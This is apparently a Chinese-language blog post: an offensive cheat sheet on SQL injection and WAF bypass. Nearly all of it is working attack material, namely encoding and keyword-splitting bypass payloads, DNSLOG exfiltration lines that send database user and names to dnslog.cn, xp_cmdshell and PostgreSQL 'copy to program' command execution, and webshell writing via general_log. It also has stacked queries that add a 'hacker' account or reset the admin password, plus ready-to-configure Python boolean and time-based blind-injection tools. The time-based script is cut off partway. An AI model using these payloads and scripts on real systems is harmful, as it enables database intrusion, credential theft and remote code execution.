sql的基础与waf详解
WAF绕过总结
WAF 绕过的本质:
WAF 对请求的”理解”与后端(中间件 / 数据库)不一致
WAF绕过思路:
大小写混合:绕过纯正则型 WAF
空格被过滤:MySQL 实际认可的”空白”远不止空格一个
| 替代符 | URL 形式 | 说明 / 示例 |
|---|---|---|
| Tab | %09 | union%09select%091,2,3 经典老牌,大量 WAF 已覆盖 |
| 换行 LF | %0a | union%0aselect 常配合行注释:union%23a%0aselect(# 注释掉干扰字符后换行续接) |
| 垂直制表 VT | %0b | 部分 WAF 分词器不认为它是空白,MySQL 认 |
| 换页 FF | %0c | 同上 |
| 回车 CR | %0d | 常与 %0a 组合 %0d%0a |
| 不间断空格 | %a0 | latin1 下的 0xA0,安全狗经典绕过;MySQL 按字符集接受 |
| 注释 | /**/ | union/**/select 注释在 MySQL 里等价于空格,详见 2.3 |
| 括号 | () | 函数/表达式紧贴括号可免空格:select(user())from(users)、where(id)=(1) |
| 加号 | + | URL 中 + 解码为空格,仅用于绕过”URL 里不允许出现空格”的前置过滤 |
注释绕过:
① 普通注释
| 写法 | 用途与说明 |
|---|---|
--+ / -- - / --%20 | 行注释(注意 MySQL 要求 -- 后必须跟空白),用于截断尾部原始语句 |
# / %23 | 行注释,配合 %0a 可以把特征词拆到两行(见 关键字拆分) |
② MySQL 内联注释(重点,经久不衰)
/*! ... */ 是 MySQL 特有的”可执行注释”:其他数据库当注释跳过,MySQL 会原样执行里面的内容。带 5 位版本号时表示”服务器版本 ≥ 该值才执行”,因此版本号可任意填写(小于服务端版本即可),这直接干碎一批只认 /*!50000 固定写法的 WAF。
1
2
3
4
5
?id=-1' /*!union*/ /*!select*/ 1,2,3--+
?id=-1' /*!50000union*/ /*!50000select*/ 1,2,3--+
?id=-1' /*!11444union*/ /*!11444select*/ 1,2,3--+ # 任意版本号,安全狗实战有效
?id=-1' union/*!50000select*/1,2,3--+ # 只包裹被检测的那个关键字
?id=-1' un/*!50000ion*/ sel/*!50000ect*/ 1,2,3--+ # 内联注释把关键字"粘"起来(见关键字拆分)
关键字拆分:
针对”删除/拦截整词”型 WAF,把关键字拆成 WAF 认不出、但后端能拼回完整形态的样子:
| 写法 | 示例 | 原理 |
|---|---|---|
| 双写 | ununionion selselectect oorr anandd | WAF 只做一次”删除恶意词”,删完剩下的恰好拼回原词。对做递归替换的 WAF 无效 |
| 注释拆分 | se/**/lect un/**/ion | 部分 WAF 匹配前不删注释;MySQL 执行时注释即空格/直接拼接(函数名紧贴注释时可拼) |
| 换行拆分 | sel%0aect uni%0aon | 部分 WAF 按行匹配,不跨行重组 |
| 内联注释拆分 | sel/*!50000ect*/ un/*!11444ion*/ | MySQL 把内联注释内容拼回执行,WAF 看到的是”无害注释”。安全狗实战常客 |
编码绕过(解码层差异):
| 编码 | 示例 | 原理与适用场景 |
|---|---|---|
| 单层 URL 编码 | ' → %27 | 最基础,现代 WAF 全部会先解码,单独无效,仅作组合基础 |
| 双重 URL 编码 | ' → %2527 | WAF 解一次看到 %27(无特征)放行;IIS/部分中间件再解一次得到 '。IIS + 应用层二次解码场景有效 |
| Unicode 编码 | ' → %u0027 | IIS 特有的 %u 解码;Java 侧 \u0027、JSON 中 " 同类思路 |
| 宽字节 | %df%27 | 前提:GBK/GB2312/GBK 系字符集 + addslashes/转义函数。%df%27 → 转义变 %df%5c%27 → GBK 解码 %df%5c 合成汉字”運”,%27 单引号逃逸成功 |
| 十六进制 | 0x61646d696e = admin | MySQL 字符串可用 hex 字面量表示,整条语句零引号零特征:where username=0x61646d696e |
| HTML 实体 | ' ' | 仅当数据经 HTML 解码再入库(富文本、某些 CMS)时有效 |
| 超长 UTF-8 | ' → %c0%a7 %e0%80%a7 | UTF-8 非最短编码形式,老式解析器按字节重组出引号。sqlmap tamper overlongutf8 |
| 全角字符 | ' → %ef%bc%87 | 全角单引号,个别应用层会转回半角。tamper apostrophemask |
| 空字节 | %00%27a 末尾 %00 | 截断 WAF 匹配缓冲区。tamper apostrophenullencode / appendnullbyte |
| 字符集变换 | charset=ibm037 | Content-Type 声明 EBCDIC 编码,WAF 按 ASCII 解析全是乱码,后端 Java/中间件按 EBCDIC 解码出 payload(详见 4.3) |
宽字节注入判定口诀:提交 %df%27 后报错信息里单引号前出现汉字(如 運'),即存在宽字节注入;若无转义函数拦截则 %df%27 直接注入成功。
引号与字符串变形:
| 方案 | 示例与说明 |
|---|---|
| 数字型注入(无需引号) | ?id=1 and 1=1 先确认参数是否数字型,数字型天然不需要引号闭合 |
| 反引号 | select * from users`` 表名/列名用反引号,对字符串无效 |
| 十六进制字符串 | where password=0x61646d696e 整条语句不出现任何引号,最实用 |
| 字符集引导符 | N'admin' x'61646d696e' _binary'admin' _utf8mb4'admin' 绕过只认裸引号的匹配 |
| CHAR()/CHR() 拼接 | MySQL:char(97,100,109,105,110);MSSQL:char(0x61)+char(0x64);Oracle/PG:chr(97)||chr(100) |
| 宽字节吃掉转义符 | 详见 编码绕过,%df%27 把 addslashes 加的 \ 吃掉 |
| MySQL 隐式类型转换 | '1'='1abc' 比较结果为真(字符串截断为数字比较);where id='1a' 命中 id=1 的行 |
等价替换大全
WAF 过滤的是”字符串特征”,数据库执行的是”语义”。只要找到语义等价但写法不同的替代,过滤即失效。
比较符与逻辑符等价:
| 被过滤 | 替代写法 |
|---|---|
= | LIKE RLIKE REGEXP IN BETWEEN a AND b <=>(NULL 安全等于) NOT x <> y |
> / < | BETWEEN 构造区间;GREATEST(a,b+1)=a 等价 a>b(tamper greatest);LEAST 同理 |
AND | && AND 变形 aNd/双写 anandd 个别场景可用 XOR 构造差异回显 |
OR | ||(注意 MySQL 默认 || 即 OR;PIPES_AS_CONCAT 模式下是拼接符) oorr |
NOT | !(如 and !(1=0)) |
恒真条件的花式写法(and 1=1 的一百种替身)
1
2
3
4
and 1=1 and true and not false and 2>1
and 1 like 1 and 1 in (1) and 0x31=0x31 and 1e0=1 # 科学计数法
and 'a'='a and 'a' rlike 'a and ascii('a')=97 and !(0)
and 1 between 1 and 1 and 0b1=1 # 二进制字面量
函数等价替换总表:
| 被过滤函数 | 替代写法 |
|---|---|
if(c,a,b) | case when c then a else b end elt(c+1,b,a) |
sleep(n) | benchmark(20000000,md5(1)) 大表笛卡尔积 (select count(*) from information_schema.columns a,information_schema.columns b) get_lock('x',n) MSSQL waitfor delay '0:0:5' PG pg_sleep(n)/generate_series 大循环 Oracle dbms_pipe.receive_message('a',n) |
substr() / substring() | mid(str,pos,len) left(x,n) right(x,n) 无逗号形态 substr(x from a for b) |
ascii() | ord() hex() bin() conv(x,10,10) |
length() | char_length() character_length() octet_length() bit_length(x)/8 |
concat() | concat_ws() group_concat() make_set() export_set() PG/Oracle || MSSQL + |
user() | session_user() current_user() current_user(无括号) system_user() |
database() | schema() |
version() | @@version @@global.version |
limit m,n | limit n offset m(无逗号) |
group_concat() | MySQL 5.7.22+ json_arrayagg() Oracle listagg()/wm_concat() PG string_agg() |
hex() / unhex() | conv(x,10,16)/conv(x,16,10) 编码直接用 0x 字面量 |
关键字等价替换:
| 被过滤 | 替代 / 变形 |
|---|---|
union select | union all select union distinct select union select distinct 中间插入注释/换行(见 2.2、2.3) |
information_schema | ① 反引号拆分 information_schema`.`tables;② MySQL 5.7+ sys.schema_auto_increment_columns(库名+表名)、sys.x$schema_table_statistics;③ MySQL 5.6+ mysql.innodb_table_stats/mysql.innodb_index_stats(需已知库名,可查表名);④ MySQL 8 用 TABLE 语句彻底绕开(见 5.1) |
select(极端过滤) | 低版本 handler t open as a; handler a read first;(堆叠,古董但语义型 WAF 常漏);MySQL 8 TABLE users; 等价 select * from users;values row(1,2) |
where | having group by ... having order by 位置注入 limit 位置注入(老版本 procedure analyse()) |
order by | group by 二分猜列数 into @a,@b,@c 变量数猜列数 |
into outfile | into dumpfile(写二进制更合适) general_log 写 shell:set global general_log_file='shell.php'; select '<?php ...?>'; 慢查询日志同理 |
for update 等尾巴 | 用注释截断:--+ # /*(注释吃掉后续语句) |
过滤逗号专项:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# substr 不用逗号:from ... for ... 语法
and substr(user() from 1 for 1)='r'
and mid(version() from 1 for 1)='8'
# limit 不用逗号:offset 语法
limit 1 offset 0
# union 猜列不用逗号:join 模拟多列
union select * from (select 1)a join (select 2)b join (select 3)c
# if 不用逗号:case when
and (case when substr(user() from 1 for 1)='r' then 1 else 0 end)=1
# group_concat 单参数免逗号:separator
group_concat(table_name separator '|')
过滤空格 / 等号 / 引号速查:
| 被过滤 | 替代方案汇总 |
|---|---|
| 空格 | /**/ %09 %0a %0b %0c %0d %a0 括号 select(user())from(users) 反引号包裹 union%23a%0aselect |
| 等号 | like rlike regexp in between |
| 引号 | 0x 十六进制 char()/chr() 宽字节 %df%27 数字型免引号 字符集引导符 N'' x'' _binary'' |
HTTP 协议层绕过
协议层才是 2024-2026 实战成功率最高的方向,
核心逻辑:WAF 的 HTTP 解析器与后端中间件的 HTTP 解析器不是同一个,构造”WAF 解析不出来 / 解析成别的样子,但后端能正确解析”的请求。
HTTP 参数污染:
同名参数出现多次时,不同中间件的取值行为完全不同:
| 中间件 / 框架 | 取值行为 |
|---|---|
| IIS / ASP.NET | 全部取值,逗号拼接:id = "1,2" |
| Apache / PHP | 取最后一个:id = "2" |
| Tomcat / JSP | 取第一个:id = "1" |
| Python(Flask/Django 常规取法) | 取第一个 |
| Node.js / Express | 数组 ["1","2"],拼接后含逗号 |
1
2
3
4
5
6
# ASP.NET 场景:把 payload 拆进两个参数,用注释吃掉拼接产生的逗号
?id=1' /*&id=*/ union select 1,user(),3--+
# 后端拼成: 1' /*,*/ union select 1,user(),3--+ → 注释吞掉逗号,语句完整执行
# PHP 场景:前一个参数放诱饵(纯数字),后一个放 payload
?id=1&id=-1' union select 1,2,3--+ # WAF 若只检第一个参数则直接漏检
数据库专属特性利用
MySQL 深挖
| 特性 | 用法与示例 |
|---|---|
| 内联版本注释 | /*!50000select*/ 版本号任意 5 位数(≤服务端版本即可执行):/*!11444*/、/*!99999*/;针对只识别固定 50000 的规则 |
| 反引号 | information_schema`.`tables select user from users`` 拆散连续性特征 |
| 科学计数法 | and 1e0 union select 1e0,2,3 1E0;只认 [0-9]+ 的正则全漏 |
| 字面量形态 | 二进制 0b1010、十六进制 0x61、x'61'、N'x'、_binary'x'、_utf8mb4'x' |
| 隐式类型转换 | '1'='1abc' 为真;select * from users where id='1a' 命中 id=1;''=0 为真 |
| MySQL 8 新语法 | TABLE users; 等价 select * from users(彻底绕开 select 过滤);VALUES ROW(1,2),ROW(3,4);;json_table() 提取;->> JSON 取值运算符 |
| information_schema 替代 | 见 3.3:sys.schema_auto_increment_columns、mysql.innodb_table_stats 等 |
| handler(堆叠,低版本) | ;handler users open as a;handler a read first;handler a close; 不经过 select 关键字读数据 |
| 堆叠注入 | 需 mysqli_multi_query / PDO 多语句开启:;insert into ...;权限允许时直接改数据/写文件 |
| 高权限利用 | load_file('/etc/passwd')、into outfile/dumpfile、general_log 写 shell、UDF 提权 |
| DNSLOG 外带 | and load_file(concat('\\\\',hex(user()),'.dnslog.cn\\a'))(Windows UNC 路径;需 secure_file_priv 为空) |
SQL Server(MSSQL)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 字符串拼接执行(特征词拆开拼,exec 时再合并)
;declare @a varchar(200) set @a='sel'+'ect user()' exec(@a)
;exec('sel'+'ect @@ver'+'sion')
;exec sp_executesql N'select user_name()'
# 时间盲注
;if(1=1) waitfor delay '0:0:5'--
# DNSLOG 外带(xp_dirtree 触发 DNS 解析)
;exec master..xp_dirtree '//'+convert(varchar,db_name())+'.dnslog.cn/a'
# 其他特性
;openrowset('sqloledb','server';'sa';'pwd','select 1') -- 横向
;exec xp_cmdshell 'whoami' -- 高权限 RCE
换行符分隔多语句、%00 截断在 MSSQL 场景也常有效
Oracle
1
2
3
4
5
6
7
8
9
10
11
# 字符串拼接符 || 与 chr() 免引号
' union select chr(97)||chr(100)||chr(109)||chr(105)||chr(110) from dual--
# 延时(无 sleep,用管道/锁/大查询)
' and 1=dbms_pipe.receive_message('a',5)--
# DNSLOG 外带
' and utl_inaddr.get_host_address((select user from dual)||'.dnslog.cn') is not null--
# 版本信息
' union select banner from v$version where rownum=1--
PostgreSQL
1
2
3
4
5
6
7
8
9
10
11
12
13
# 美元引用免引号($$ 或 $tag$)
select $$admin' or '1'='1$$; select $a$payload$a$;
# chr() 拼接、类型转换 ::
' union select chr(97)||chr(100)::text--
# 延时
' and 1=(select 1 from pg_sleep(5))--
# 无 pg_sleep 权限时:大查询延时
' and 1=(select count(*) from generate_series(1,10000000))--
# 超级用户 RCE(9.3+)
;copy (select '') to program 'id'--
sql基础类别
成因场景:
| 成因 | 说明 | 典型代码味道 |
|---|---|---|
| 字符串直接拼接 | 最常见:用户输入直接拼进 SQL 字符串 | "SELECT * FROM u WHERE name='"+name+"'" |
| 数字型未校验 | 以为”是数字就不用引号”却不做类型检查 | "... WHERE id="+id 无 is_numeric 校验 |
| 宽字节(字符集缺陷) | GBK 系字符集 + addslashes 类转义,%df%27 吃掉转义反斜杠 | SET NAMES 'gbk' + addslashes() |
| 二阶注入 | 输入时被转义存储,取出后再次拼接执行时触发 | 注册用户名 → 修改密码处拼接该用户名 |
| 不可预编译位置拼接 | ORDER BY 列名、LIMIT、表名等位置预编译无效,开发直接拼接 | "ORDER BY "+sort |
| 框架/ORM 误用 | ORM 提供了安全的参数化 API,但开发用了原生 SQL 拼接方法 | MyBatis ${} 而非 #{};ThinkPHP where("id=$id") |
最小漏洞示例:
1
2
3
4
5
6
7
$id = $_GET['id']; // ① 输入可控
$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 1"; // ② 直接拼接
$result = mysql_query($sql); // ③ 送入数据库执行
// 攻击者提交: ?id=1' OR '1'='1
// 实际执行: SELECT * FROM users WHERE id = '1' OR '1'='1' LIMIT 1
// 引号被闭合,OR 恒真 → 返回全表第一行,注入成立
注入的四个分类维度:
| 维度 | 分类 |
|---|---|
| 按参数类型 | 数字型(无引号)、字符型(单/双引号 + 可能的括号)、搜索型(LIKE '%..%') |
| 按回显方式 | 联合查询(有显位)、报错注入(错误回显)、布尔盲注(页面两态)、时间盲注(无任何回显)、DNSLOG 外带 |
| 按提交位置 | GET、POST 表单、Cookie、HTTP Header(UA/Referer/XFF)、JSON/XML body、URL 路径(伪静态) |
| 按触发阶段 | 一阶(立即执行)、二阶(存储后二次使用触发)、堆叠(多语句) |
判断数据库类型
| 方法 | 特征 |
|---|---|
| 报错信息 | You have an error in your SQL syntax→MySQL;Microsoft OLE DB / SQL Server→MSSQL;ORA-01756→Oracle;PG::SyntaxError / ERROR: syntax error at or near→PostgreSQL;SQLite3::→SQLite |
| 特有函数 | version() 返回含 ubuntu/log→MySQL;@@version 含 Microsoft→MSSQL;from dual 必需→Oracle;version() 含 PostgreSQL→PG |
| 语法差异 | '+'1' 拼接成功→MSSQL;'||'1' 成功→Oracle/PG/SQLite;concat(1,2) 成功→MySQL;limit 支持→MySQL/PG/SQLite;top→MSSQL;rownum→Oracle |
万能密码(登录框注入)
admin’ or ‘1’=’1
admin’ –
’ or 1=1 –
username:admin\ password:or 1#
username:admin\ password:or 2=2#
联合查询注入
① 找闭合
逐个试
' " ') ") ')) ")) '))) ...,直到 –+注释后页面恢复正常。② 猜列数
' order by 1--+逐步加一,报错时的数字-1 即列数(如 order by 4 报错 → 3 列)。③ 找显位
让原查询查不到数据(id 改 -1),看页面上哪几个位置显示了 union 的数字:
?id=-1' union select 1,2,3--+,假设页面显示 2 和 3,则 2、3 号位是显位。④ 爆基础信息
显位放函数:
union select 1,version(),database()--+,拿版本、库名、用户、路径。⑤ 爆所有库
union select 1,group_concat(schema_name)from information_schema.schemata,3--+⑥ 爆当前库的表
union select 1,group_concat(table_name)from information_schema.tables where table_schema=database(),3--+⑦ 爆目标表的列
... from information_schema.columns where table_schema=database() and table_name='users',3--+(table_name 也可写 hex:0x7573657273)⑧ 爆数据
union select 1,group_concat(concat_ws(0x7e,username,password))from 库名.users,3--+,0x7e即~作分隔符。
information_schema 核心三张表
| 表名 | 关键列 | 用途 |
|---|---|---|
schemata | schema_name | 所有数据库名 |
tables | table_schema(所属库)、table_name | 所有表名;用 where table_schema='库名' 过滤 |
columns | table_schema、table_name、column_name | 所有列名;按库名+表名双条件过滤 |
报错注入(页面回显数据库错误时)
报错注入函数全集(updatexml 被过滤时换着用):
| 函数 | Payload 骨架 | 版本/备注 |
|---|---|---|
updatexml() | and updatexml(1,concat(0x7e,(select user()),0x7e),1) | 最常用,WAF 重点关照 |
extractvalue() | and extractvalue(1,concat(0x7e,(select user()),0x7e)) | 5.1.5+ |
floor(rand(0)*2) | and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) | 主键冲突型,长度限制小 |
exp() | and exp(~(select * from (select user())a)) | double 溢出,≤5.5.x 有效 |
GTID_SUBSET() | and GTID_SUBSET(concat(0x7e,(select user())),1) | 5.6.5+ |
GTID_SUBTRACT() | and GTID_SUBTRACT(concat(0x7e,(select user())),1) | 5.6.5+ |
| 几何函数族 | geometrycollection() multipoint() polygon() multipolygon() linestring() multilinestring() | and geometrycollection(concat(0x7e,(select user()))) 冷门、规则库常漏 |
| GeoHash 族 | ST_LatFromGeoHash() ST_LongFromGeoHash() ST_PointFromGeoHash() | 5.7+,同上冷门有效,and ST_LatFromGeoHash(concat(0x7e,(select user()))) |
| JSON 族 | json_keys() bigint 溢出 ~0+1 类 | 5.7+,配合 conv 使用,and json_keys(concat(0x7e,(select user()))) |
实战建议:报错注入被过滤时按”热门 → 冷门”顺序轮换函数;语义型 WAF 下优先用几何/GeoHash 这类语义库覆盖少的函数族。
堆叠注入
用 ; 结束原语句后执行任意第二条语句,能力上限最高(可增删改数据、执行管理命令)。
| 数据库 | 支持条件 |
|---|---|
| MySQL | PHP mysqli_multi_query() 或 PDO 开启多语句;常见的 mysql_query() 不支持——所以 MySQL 堆叠实战少见 |
| MSSQL | 天然支持,任意注入点都可 ;waitfor delay '0:0:5'-- 验证 |
| PostgreSQL | pg_query/PDO 多语句支持,;select pg_sleep(5)-- |
| Oracle | 不支持裸堆叠,需 BEGIN ... END; PL/SQL 匿名块 |
| SQLite | 多数驱动支持多语句 |
1
2
3
4
5
6
# 无回显时堆叠 + 时间/外带确认
?id=1';select if(1=1,sleep(5),1)--+
?id=1';waitfor delay '0:0:5'-- # MSSQL
# 直接改数据(管理后台注入常见)
?id=1';insert into users(username,password) values('hacker','123456')--+
?id=1';update users set password='new' where username='admin'--+
布尔盲注(页面只有真/假两种状态)
构造条件让页面呈现两种可区分状态(有内容/无内容、正常/异常),用二分法逐位猜出数据的每个字符
判断步骤:
?id=1 正常
?id=1’ and 1=1–+ 正常
?id=1’ and 1=2–+ 页面无数据 / 空白 / 不一样
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 第 0 步:先猜长度
?id=1' and length(database())=8--+ # 页面正常 → 库名 8 位
# 第 1 步:逐位二分(ascii 转数字才好比较大小)
?id=1' and ascii(substr(database(),1,1))>100--+ # 正常 → 第1字符 ascii>100
?id=1' and ascii(substr(database(),1,1))>110--+ # 异常 → 在101~110之间
?id=1' and ascii(substr(database(),1,1))=115--+ # 命中 's',继续第 2 位
# 变体①:regexp 正则猜(一次猜一类)
?id=1' and database() regexp '^s'--+ # 首字母是 s?
# 变体②:left() 猜前缀
?id=1' and left(database(),2)='se'--+
# 变体③:like 模糊匹配
?id=1' and database() like 's%'
# 猜数据同理(子查询取单行单列再逐位比较)
?id=1' and ascii(substr((select password from users limit 0,1),1,1))>64--+
布尔盲注通用 Python 模板(二分法)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
import requests
import time
from typing import Optional
# ==================================================
# ===================== 配置区域 =====================
# ==================================================
# 目标基础URL
BASE_URL = "http://xxx.xxx.xxx.xxx/test.php"
# 请求方式:GET / POST
METHOD = "GET"
# 注入点参数(数字型直接写值,字符串型记得自己加单引号闭合)
# 示例:数字型 {"id": "1"};字符串型 {"username": "admin"}
PARAMS = {"id": "1"} # GET注入点
DATA = {} # POST注入点(POST方式时填这里)
# 请求头、Cookie、代理
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
}
COOKIES = {}
PROXIES = {} # 抓包调试用:{"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
# 超时、重试、请求间隔(防WAF)
TIMEOUT = 10
RETRY_TIMES = 3
DELAY = 0.1
# 【关键】页面"真/假"的判断条件(二选一即可)
# 方式1:页面正常时包含的关键词(比如"查询成功"、"欢迎回来")
SUCCESS_KEYWORD = "正常页面的特征关键词"
# 方式2:页面正常时的响应长度(数字,比如 1567)
SUCCESS_LENGTH = None
# ==================================================
def send_request(payload: str) -> Optional[requests.Response]:
"""发送带注入payload的请求,自动处理GET/POST、重试"""
# 构造注入后的参数
if METHOD.upper() == "GET":
params = PARAMS.copy()
inject_key = list(params.keys())[0] # 注入点参数名,多参数可手动指定
params[inject_key] = params[inject_key] + payload
post_data = DATA
elif METHOD.upper() == "POST":
params = PARAMS
post_data = DATA.copy()
inject_key = list(post_data.keys())[0]
post_data[inject_key] = post_data[inject_key] + payload
else:
raise ValueError("仅支持 GET / POST 请求")
# 失败重试
for _ in range(RETRY_TIMES):
try:
resp = requests.request(
method=METHOD,
url=BASE_URL,
params=params,
data=post_data,
headers=HEADERS,
cookies=COOKIES,
proxies=PROXIES,
timeout=TIMEOUT,
allow_redirects=True
)
time.sleep(DELAY)
return resp
except Exception as e:
print(f"[!] 请求异常: {str(e)[:50]},正在重试...")
time.sleep(1)
return None
def is_true(payload: str) -> bool:
"""判断当前payload对应的页面是「真」还是「假」"""
resp = send_request(payload)
if not resp:
return False
# 优先用关键词判断,其次用响应长度
if SUCCESS_KEYWORD:
return SUCCESS_KEYWORD in resp.text
elif SUCCESS_LENGTH is not None:
return len(resp.text) == SUCCESS_LENGTH
else:
# 兜底:状态码200(不推荐,尽量用上面两种)
return resp.status_code == 200
def guess_length(sql_expr: str, max_len: int = 100) -> int:
"""二分法猜解SQL表达式返回结果的长度"""
print(f"\n[*] 开始猜解长度,目标表达式:{sql_expr}")
left, right = 0, max_len
while left <= right:
mid = (left + right) // 2
# 核心payload:and length(表达式) > mid --
payload = f" and length({sql_expr}) > {mid}-- "
if is_true(payload):
left = mid + 1 # 长度比mid大,往右找
else:
right = mid - 1 # 长度≤mid,往左找
print(f"[+] 长度猜解完成:{left}")
return left
def guess_content(sql_expr: str, length: int) -> str:
"""二分法逐位猜解字符串内容(ASCII可打印字符 32~126)"""
print(f"\n[*] 开始逐位猜解内容,总长度:{length}")
result = ""
min_ascii, max_ascii = 32, 126 # 可打印字符范围
for i in range(1, length + 1):
left, right = min_ascii, max_ascii
while left <= right:
mid = (left + right) // 2
# 核心payload:and ascii(substr(表达式, 第几位, 1)) > mid --
payload = f" and ascii(substr({sql_expr}, {i}, 1)) > {mid}-- "
if is_true(payload):
left = mid + 1
else:
right = mid - 1
# 边界异常处理
if left < min_ascii or left > max_ascii:
result += "?"
print(f"\r[!] 第{i}位猜解异常", end="")
else:
result += chr(left)
print(f"\r[+] 进度 {i}/{length}:{result}", end="")
print()
print(f"[+] 内容猜解完成:{result}")
return result
if __name__ == "__main__":
# ========== 示例1:猜当前数据库名 ==========
print("===== 1. 猜当前数据库名 =====")
db_sql = "database()"
db_len = guess_length(db_sql)
db_name = guess_content(db_sql, db_len)
print(f"[√] 当前数据库:{db_name}\n")
# ========== 示例2:猜库下第一张表名 ==========
# print("===== 2. 猜第一张表名 =====")
# table_sql = f"(select table_name from information_schema.tables where table_schema='{db_name}' limit 0,1)"
# table_len = guess_length(table_sql)
# table_name = guess_content(table_sql, table_len)
# print(f"[√] 第一张表:{table_name}\n")
# ========== 示例3:猜字段值(比如users表的password) ==========
# print("===== 3. 猜第一个密码 =====")
# pass_sql = "(select password from users limit 0,1)"
# pass_len = guess_length(pass_sql)
# pass_content = guess_content(pass_sql, pass_len)
# print(f"[√] 第一个密码:{pass_content}\n")
套用修改指南(3 步快速上手)
- 修改「配置区」基础信息
- 改
BASE_URL为目标 URL - 改
METHOD:GET 注入就填GET,POST 注入就填POST - 注入点参数:GET 注入写在
PARAMS里,POST 注入写在DATA里
- 最关键:修改「真 / 假判断条件」
先手动测两个 payload,观察页面区别:
- 真:
?id=1' and 1=1--(页面正常、有内容) - 假:
?id=1' and 1=2--(页面空白、无数据、报错)
选一种区分方式填到配置里:
- 如果正常页面有固定关键词(比如 “用户信息”):
SUCCESS_KEYWORD = "用户信息" - 如果正常 / 异常页面长度差很明显:
SUCCESS_LENGTH = 1892(数字自己看响应长度)
- 根据注入类型调整 payload 前缀
模板默认是数字型注入(直接and ...拼接),如果是字符串型注入(参数带单引号),有两种改法:
- 方式 1:参数里直接加单引号,比如
PARAMS = {"id": "1'"} - 方式 2:修改 payload 里的开头,把
and改成' and
常见场景变体修改
① 换其他数据库(MSSQL/Oracle/Access)
只需要替换guess_length和guess_content里的 SQL 函数:
表格
| 数据库 | 取长度 | 取子串 | 转 ASCII |
|---|---|---|---|
| MySQL | length() | substr(str, pos, 1) | ascii() |
| MSSQL | len() | substring(str, pos, 1) | ascii() |
| Oracle | length() | substr(str, pos, 1) | ascii() |
| Access | len() | mid(str, pos, 1) | asc() |
② 猜多条数据(比如所有表名)
把limit 0,1里的 0 改成 1、2、3… 循环即可,例如:
1
2
3
4
5
for i in range(5): # 猜前5张表
table_sql = f"(select table_name from information_schema.tables where table_schema='{db_name}' limit {i},1)"
table_len = guess_length(table_sql)
table_name = guess_content(table_sql, table_len)
print(f"第{i+1}张表:{table_name}")
③ 注释符不兼容
MySQL 默认用-- (后面有空格),如果不行可以换成:
#--+(+ 会被 URL 编码成空格)%23(# 的 URL 编码)
调试小技巧
- 先开代理(BurpSuite),把
PROXIES配上,看脚本发的请求对不对 - 先手动测 1~2 次二分法,确认逻辑没问题再跑全量
- 如果被 WAF 拦截,调大
DELAY(比如 0.5 秒),或者加随机 User-Agent - 猜解异常时,先打印
resp.text看看是不是被拦截了,再调整判断条件
时间盲注(页面完全无差异)
1
2
3
4
5
6
7
# if(条件, sleep(秒), 1):条件为真则响应延迟
?id=1' and if(length(database())=8,sleep(3),1)--+
?id=1' and if(ascii(substr(database(),1,1))>100,sleep(3),1)--+
?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))>64,sleep(3),1)--+
# sleep 被禁用时的替代:benchmark 重计算 / 大表笛卡尔积
?id=1' and if(ascii(substr(database(),1,1))>100,benchmark(20000000,md5(1)),1)--+
Python 时间盲注通用模板
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
import requests
import time
from typing import Optional
# ==================================================
# ===================== 配置区域 =====================
# ==================================================
BASE_URL = "http://xxx.xxx.xxx.xxx/test.php"
METHOD = "GET"
PARAMS = {"id": "1"} # GET参数注入点
DATA = {} # POST注入点
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
}
COOKIES = {}
PROXIES = {} # 调试代理:{"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
TIMEOUT = 10
RETRY_TIMES = 2
# 【核心】延时阈值:sleep(N),一般设1;判断阈值>0.7s认为条件为真
SLEEP_SEC = 1
TIME_THRESHOLD = 0.7
# ==================================================
def send_request(payload: str) -> tuple[Optional[requests.Response], float]:
"""发送请求,返回响应对象 + 请求耗时"""
if METHOD.upper() == "GET":
params = PARAMS.copy()
inject_key = list(params.keys())[0]
params[inject_key] = params[inject_key] + payload
post_data = DATA
elif METHOD.upper() == "POST":
params = PARAMS
post_data = DATA.copy()
inject_key = list(post_data.keys())[0]
post_data[inject_key] = post_data[inject_key] + payload
else:
raise ValueError("仅支持 GET / POST")
start = time.time()
resp = None
for _ in range(RETRY_TIMES):
try:
resp = requests.request(
method=METHOD,
url=BASE_URL,
params=params,
data=post_data,
headers=HEADERS,
cookies=COOKIES,
proxies=PROXIES,
timeout=TIMEOUT,
allow_redirects=True
)
break
except Exception as e:
print(f"[!] 请求异常 {str(e)[:40]} 重试")
cost = time.time() - start
return resp, cost
def is_true(payload: str) -> bool:
"""时间盲注判断:耗时大于阈值 → 条件成立(True)"""
resp, cost = send_request(payload)
return cost > TIME_THRESHOLD
def guess_length(sql_expr: str, max_len: int = 100) -> int:
"""二分猜长度"""
print(f"\n[*] 猜长度: {sql_expr}")
left, right = 0, max_len
while left <= right:
mid = (left + right) // 2
